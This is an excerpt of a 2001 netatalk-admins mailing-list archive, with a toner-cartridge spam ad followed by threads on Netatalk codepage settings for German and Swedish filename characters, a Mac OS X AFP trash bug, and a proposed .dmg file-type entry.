From netatalk.administrators-errors@umich.edu  Tue Oct 23 02:34:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA22236
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 02:34:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA26789
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 02:34:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA26778
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 02:34:41 -0400 (EDT)
Received: from Erie1.wnyric.org ([168.169.92.37])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA26685; Tue, 23 Oct 2001 02:34:37 -0400 (EDT)
Received: from unknown ([64.3.194.229])
          by Erie1.wnyric.org (Lotus Domino Release 5.0.8)
          with SMTP id 2001102302342755:19419 ;
          Tue, 23 Oct 2001 02:34:27 -0400 
From: <vortex1@virtual-mail.com>
Subject: laser cartridges
Date: Tue, 23 Oct 2001 02:37:15
Message-Id: <804.407498.330422@unknown>
Mime-Version: 1.0
X-MIMETrack: Itemize by SMTP Server on Main/Erie1(Release 5.0.8 |June 18, 2001) at 10/23/2001
 02:34:33 AM,
	Serialize by Router on Main/Erie1(Release 5.0.8 |June 18, 2001) at 10/23/2001
 02:34:38 AM,
	Serialize complete at 10/23/2001 02:34:38 AM
Content-Type: text/plain; charset="us-ascii"
To: undisclosed-recipients:;




**** VORTEX SUPPLIES ****

YOUR LASER PRINTER TONER CARTRIDGE,
COPIER AND FAX CARTRIDGE CONNECTION

SAVE UP TO 30% FROM RETAIL

ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER


NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) HP DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) CANON BUBBLE JET CARTRIDGES 
4) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    

OUR NEW , LASER PRINTER TONER CARTRIDGE, PRICES ARE  AS FOLLOWS: 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59
ITEM #13C LASERJET SERIES 4100-------------------------------$99
ITEM #18   LASERJET SERIES 3100------------------------------$39
ITEM #19 LASERJET SERIES 4500 BLACK--------------------------$79
ITEM #20 LASERJET SERIES 4500 COLORS ------------------------$125

HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195
OPTRA E310/312---------------------------$79


EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.








From netatalk.administrators-errors@umich.edu  Tue Oct 23 13:34:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18702
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 13:34:17 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA20660
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 13:34:17 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA20655
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 13:34:17 -0400 (EDT)
Received: from mail-r5.shlink.de (mail-r5.shlink.de [212.60.1.141])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA20638
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 13:34:15 -0400 (EDT)
Received: (qmail 13091 invoked from network); 23 Oct 2001 17:34:09 -0000
Received: from mail-r3.shlink.de (212.60.1.6)
	  by mail-r5.shlink.de with SMTP; 23 Oct 2001 17:34:09 -0000
Received: (qmail 12112 invoked from network); 23 Oct 2001 17:34:05 -0000
Received: from gate.pcshome.de (HELO kay) (212.60.3.38)
	  by mail-r3.shlink.de with SMTP; 23 Oct 2001 17:34:05 -0000
Reply-To: <k.galba@pcshome.de>
From: "Kay Galba" <k.galba@pcshome.de>
To: <netatalk-admins@umich.edu>
Subject: =?iso-8859-1?Q?Help_needed:_Problems_with_German_special_characte?=
	=?iso-8859-1?Q?rs_=F6=E4=FC=D6=C4=DC?=
Date: Tue, 23 Oct 2001 19:34:04 +0200
Message-ID: <NEBBLOAADPIAMOADLLOFAEGGCFAA.k.galba@pcshome.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
X-SHLINK-AntiVirus: Mail autoscanned by SHLINK-VirusScan

Hy,
we re working with Netatalk 1.5pre2-6 on RedHat 7.1.
I'm not able to force the Mac's to read and write the German specials
characters correctly in filenames and Directorynames !
I've already read throug the Archive and tried all out but nothing works.
Here is the intresting Section of AppleVolumes.default:
[snip]
~ PCSLOCAL options:noadouble,mswindows,codepage:maccode.iso8859-1
[/snip]

Any clue ?

_________________________
mit freundlichen Grüssen

Kay Galba
Technische Leitung
PCS New Media GmbH
Ruhrstrasse 11
22761 Hamburg

Telefon   +49 (0)40  85 17 92 - 0
E-Mail     k.galba@pcshome.de
Web        www.pcshome.de
_______________________________



From netatalk.administrators-errors@umich.edu  Tue Oct 23 13:47:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19160
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 13:47:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA15268
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 13:47:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA15257
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 13:47:32 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA15224
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 13:47:31 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 19157 invoked from network); 23 Oct 2001 17:45:28 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 23 Oct 2001 17:45:28 -0000
Message-Id: <5.1.0.14.2.20011023194824.01d6af28@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Tue, 23 Oct 2001 19:49:20 +0200
To: netatalk-admins@umich.edu
Subject: Re: Help needed: Problems with German special characte rs 
 =?iso-8859-1?Q?=F6=E4=FC=D6=C4=DC?=
In-Reply-To: <NEBBLOAADPIAMOADLLOFAEGGCFAA.k.galba@pcshome.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA19160

I have no such options in my AppleVolumes.default
and swedish special characters work fine RH7.1, 1.5pre8


/Mikko

At 19:34 2001-10-23, you wrote:
>Hy,
>we re working with Netatalk 1.5pre2-6 on RedHat 7.1.
>I'm not able to force the Mac's to read and write the German specials
>characters correctly in filenames and Directorynames !
>I've already read throug the Archive and tried all out but nothing works.
>Here is the intresting Section of AppleVolumes.default:
>[snip]
>~ PCSLOCAL options:noadouble,mswindows,codepage:maccode.iso8859-1
>[/snip]
>
>Any clue ?
>
>_________________________
>mit freundlichen Grüssen
>
>Kay Galba
>Technische Leitung
>PCS New Media GmbH
>Ruhrstrasse 11
>22761 Hamburg
>
>Telefon   +49 (0)40  85 17 92 - 0
>E-Mail     k.galba@pcshome.de
>Web        www.pcshome.de
>_______________________________



From netatalk.administrators-errors@umich.edu  Tue Oct 23 15:36:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25464
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 15:36:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA05859
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 15:36:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA05844
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 15:36:53 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA05814
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 15:36:52 -0400 (EDT)
Received: from smtp-relay02.mac.com (smtp-relay02-qfe3 [10.13.10.225])
	by smtpout.mac.com (8.10.2/8.10.2/1.0) with ESMTP id f9NJand10516
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 12:36:49 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GLOBTB00.2G2 for
          <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 12:36:47 -0700 
Received: from localhost ([62.175.32.57]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GLOBTA00.I8C for <netatalk-admins@umich.edu>; Tue,
          23 Oct 2001 12:36:46 -0700 
Date: Tue, 23 Oct 2001 21:36:44 +0200
Subject: =?ISO-8859-1?Q?Re:_Help_needed:_Problems_with_German_special_ch?=
 =?ISO-8859-1?Q?aracte_rs__=F6=E4=FC=D6=C4=DC?=
Content-Type: text/plain; charset=WINDOWS-1252; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
From: Jason Quigley <jasonq@mac.com>
To: netatalk-admins@umich.edu
In-Reply-To: <5.1.0.14.2.20011023194824.01d6af28@carme.affordablehost.com>
Message-Id: <4A2036A3-C7ED-11D5-BA0F-000A277D821C@mac.com>
X-Mailer: Apple Mail (2.472)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA25464

I suppose by reading the configuration, the issue is that files created 
by PeeCees via Samba are not showing up correctly. I would also like to 
get around this for Spanish letters.

Has anybody got any ideas? The only solution I have come up with so far 
involves:

a) Mac and PC users have to be careful about some characters.
b) Mac users only have to be careful about some characters.
c) PC users only, have to be careful about some characters.

I would like:

d) Nirvana

I have tried all sorts of combinations with character translations both 
in Samba and Netatalk all to no avail.


On Tuesday, October 23, 2001, at 07:49  pm, mikko@fs.sorl.net wrote:

> I have no such options in my AppleVolumes.default
> and swedish special characters work fine RH7.1, 1.5pre8
>
>
> /Mikko
>
> At 19:34 2001-10-23, you wrote:
>> Hy,
>> we re working with Netatalk 1.5pre2-6 on RedHat 7.1.
>> I'm not able to force the Mac's to read and write the German specials
>> characters correctly in filenames and Directorynames !
>> I've already read throug the Archive and tried all out but nothing 
>> works.
>> Here is the intresting Section of AppleVolumes.default:
>> [snip]
>> ~ PCSLOCAL options:noadouble,mswindows,codepage:maccode.iso8859-1
>> [/snip]
>>
>> Any clue ?
>>
>> _________________________
>> mit freundlichen Grüssen
>>
>> Kay Galba
>> Technische Leitung
>> PCS New Media GmbH
>> Ruhrstrasse 11
>> 22761 Hamburg
>>
>> Telefon   +49 (0)40  85 17 92 - 0
>> E-Mail     k.galba@pcshome.de
>> Web        www.pcshome.de
>> _______________________________
>
>


From netatalk.administrators-errors@umich.edu  Tue Oct 23 16:27:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA27767
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 16:27:54 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA01513
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 16:27:54 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA01500
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 16:27:54 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA01460
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 16:27:52 -0400 (EDT)
Received: (qmail 13607 invoked by uid 104); 23 Oct 2001 20:27:51 -0000
Received: from cwg-dated-7c33f36824c73932@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4166. . Clean. Processed in 0.556555 secs); 23/10/2001 15:27:50
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-7c33f36824c73932@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 23 Oct 2001 20:27:50 -0000
Received: (qmail 19108 invoked by alias); 23 Oct 2001 20:27:48 -0000
From: "Chris Garrigues" <cwg-dated-7c33f36824c73932@deepeddy.com>
Received: (qmail 19084 invoked from network); 23 Oct 2001 20:27:47 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <randall@apple.com@fixme>; 23 Oct 2001 20:27:47 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Leland Wallace <randall@apple.com>
Cc: netatalk-admins@umich.edu
Subject: Re: visible Network Trash Folder and files deleted immediately. 
In-Reply-To: <78F4B1C0-C266-11D5-BFB9-000A279495A2@apple.com> 
References: <78F4B1C0-C266-11D5-BFB9-000A279495A2@apple.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-411676720P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Tue, 23 Oct 2001 15:27:47 -0500
Message-ID: <19080.1003868867@deepeddy.com>
Mail-Reply-To: cwg-dated-7c33f36824c73932@DeepEddy.Com

--==_Exmh_-411676720P
Content-Type: text/plain; charset=us-ascii

> From:  Leland Wallace <randall@apple.com>
> Date:  Tue, 16 Oct 2001 11:49:04 -0700
>
> The Finder trash behavior in Mac OS X does not currently work with afp volumes.
> We are working on fixing it.

Is there a list available of known problems which y'all are working on?

I ask because it seems to me that my classic mode applications can't see my 
netatalk server either.

How would one become a beta tester for these bug fixes when they get to that 
stage?

Chris

P.S.  I appreciate your response to my earlier issue.  Somehow I can't imagine 
asking about a problem on the samba list and having someone from Microsoft 
reply that it's a bug in XP and they're working on it.

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-411676720P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE71dLDK9b4h5R0IUIRAjkoAJ9jCmvMdZMEXXZ9FppWIrygG+OAhwCeL6kd
A/P0toV/oRCsOIO/g3KJZlY=
=uS4t
-----END PGP SIGNATURE-----

--==_Exmh_-411676720P--

From netatalk.administrators-errors@umich.edu  Tue Oct 23 18:42:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA03813
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 18:42:50 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA04648
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 18:42:50 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA04636
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 18:42:49 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA04619
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 18:42:48 -0400 (EDT)
Received: (qmail 21032 invoked by uid 104); 23 Oct 2001 22:42:48 -0000
Received: from cwg-dated-7c83fc621d4eee54@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4166. . Clean. Processed in 0.242914 secs); 23/10/2001 17:42:48
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-7c83fc621d4eee54@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 23 Oct 2001 22:42:47 -0000
Received: (qmail 516 invoked by alias); 23 Oct 2001 22:42:47 -0000
From: "Chris Garrigues" <cwg-dated-7c83fc621d4eee54@deepeddy.com>
Received: (qmail 486 invoked from network); 23 Oct 2001 22:42:46 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <netatalk-admins@umich.edu@fixme>; 23 Oct 2001 22:42:46 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: netatalk-admins@umich.edu
Subject: .dmg files in AppleVolumes.system
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-216637792P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Tue, 23 Oct 2001 17:42:46 -0500
Message-ID: <481.1003876966@deepeddy.com>
Mail-Reply-To: cwg-dated-7c83fc621d4eee54@DeepEddy.Com

--==_Exmh_-216637792P
Content-Type: text/plain; charset=us-ascii

Would be nice to add this to AppleVolumes.system:

.dmg      "devi"  "ddsk"      UDIF device image              Disk Copy

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-216637792P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE71fJmK9b4h5R0IUIRAjRPAKCFOHKlrRyKMzuR+mkHKlYV0wAJ+gCdEObF
AaVC+jEbyfbwQeWRdPRmhYQ=
=hD93
-----END PGP SIGNATURE-----

--==_Exmh_-216637792P--

From netatalk.administrators-errors@umich.edu  Tue Oct 23 19:32:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA05554
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 19:32:38 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA09768
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 19:32:38 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA09756
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 19:32:38 -0400 (EDT)
Received: from bastuba.partitur.se (bastuba.partitur.se [212.209.169.194])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA09722
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 19:32:36 -0400 (EDT)
Received: (from root@localhost)
	by bastuba.partitur.se (8.11.6/8.11.6) id f9NNWTv46828
	for netatalk-admins@umich.edu.AVP; Wed, 24 Oct 2001 01:32:29 +0200 (CEST)
	(envelope-from girgen@partitur.se)
Received: from elbas.partitur.se (elbas.partitur.se [212.209.169.222])
	by bastuba.partitur.se (8.11.6/8.11.6) with ESMTP id f9NNWRo46812;
	Wed, 24 Oct 2001 01:32:27 +0200 (CEST)
	(envelope-from girgen@partitur.se)
Received: from partitur.se (localhost [127.0.0.1])
	by elbas.partitur.se (8.11.6/8.11.6) with ESMTP id f9NNWQD42774;
	Wed, 24 Oct 2001 01:32:27 +0200 (CEST)
	(envelope-from girgen@partitur.se)
Sender: girgen@partitur.se
Message-ID: <3BD5FE0A.2804D3FA@partitur.se>
Date: Wed, 24 Oct 2001 01:32:26 +0200
From: Palle Girgensohn <girgen@partitur.se>
Organization: Partitur
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.12 i386)
X-Accept-Language: sv, en
MIME-Version: 1.0
To: Jason Quigley <jasonq@mac.com>
CC: netatalk-admins@umich.edu
Subject: Re: Help needed: Problems with German special characte rs  
	=?iso-8859-1?Q?=F6=E4=FC=D6=C4=DC?=
References: <4A2036A3-C7ED-11D5-BA0F-000A277D821C@mac.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by bastuba.partitur.se id f9NNWRo46812

Jason Quigley wrote:
> 
> I suppose by reading the configuration, the issue is that files created
> by PeeCees via Samba are not showing up correctly. I would also like to
> get around this for Spanish letters.
> 
> Has anybody got any ideas? The only solution I have come up with so far
> involves:
> 
> a) Mac and PC users have to be careful about some characters.
> b) Mac users only have to be careful about some characters.
> c) PC users only, have to be careful about some characters.

You can't really get away with ALL characters working. First
problem is, MacRoman has 32 characters that don't exist in
Latin1.

Also, PeeCees will freak at a '/' (since it converted to a
':2f' and M$W doesn't like ':', and also at a '\'. Apart from
this fact, you could probably make your own codepage to handle
all the characters that exist in MacRoman but not in Latin1.
This would make these files look odd in Windows, but it works.
I did a patch for netatalk to save its files in the latin1
charset instead of using the :xx translation. This was way back
in '96 or so, and it worked fine. I used the area between 0x80
- 0x9f, which is not used in latin1 (control chars, more or
less a duplicate of 0x00 - 0x1f) to store MacRoman chars like R
in a circle , triple dots (...), the long f (folder symbol in
devel progs) etc. It worked fine, in fact it was more or less
nirvana ;-), but was not maintainable any more after nls
support made its way into netatalk somewhere around '98. I
guess it would be rather easy to create a codepage for this. 

I tell my users not to use the very special MacRoman chars, and
there is also a Mac-only share where they can store third party
stuff, which often contains (tm) etc...

BTW, I had problem using nls in 1.5p7, but it seems to work
fine with 1.5p8. I didn't have to investigate at that time, so
maybe I was just beeing stupid... :)

> d) Nirvana
> 
> I have tried all sorts of combinations with character translations both
> in Samba and Netatalk all to no avail.
> 
> On Tuesday, October 23, 2001, at 07:49  pm, mikko@fs.sorl.net wrote:
> 
> > I have no such options in my AppleVolumes.default
> > and swedish special characters work fine RH7.1, 1.5pre8

You need *something* to get netatalk to store in latin1, or
else it will convert an 'ö' to ':f6' e.g. I works fine for mac
clients, but not for any other systems you might want to share
your files with.

> >> Here is the intresting Section of AppleVolumes.default:
> >> [snip]
> >> ~ PCSLOCAL options:noadouble,mswindows,codepage:maccode.iso8859-1

This should read:
~ PCSLOCAL options:noadouble,mswindows
codepage:maccode.iso8859-1
                                      ^
Right?

Regards,

-- 
Palle Girgensohn

Partitur Informationsteknik AB
http://www.partitur.se/partitur/visitkort/girgensohn.jpg

From netatalk.administrators-errors@umich.edu  Tue Oct 23 20:23:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA07167
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 20:23:29 -0400 (EDT)
Received: (from daemon@localhost)
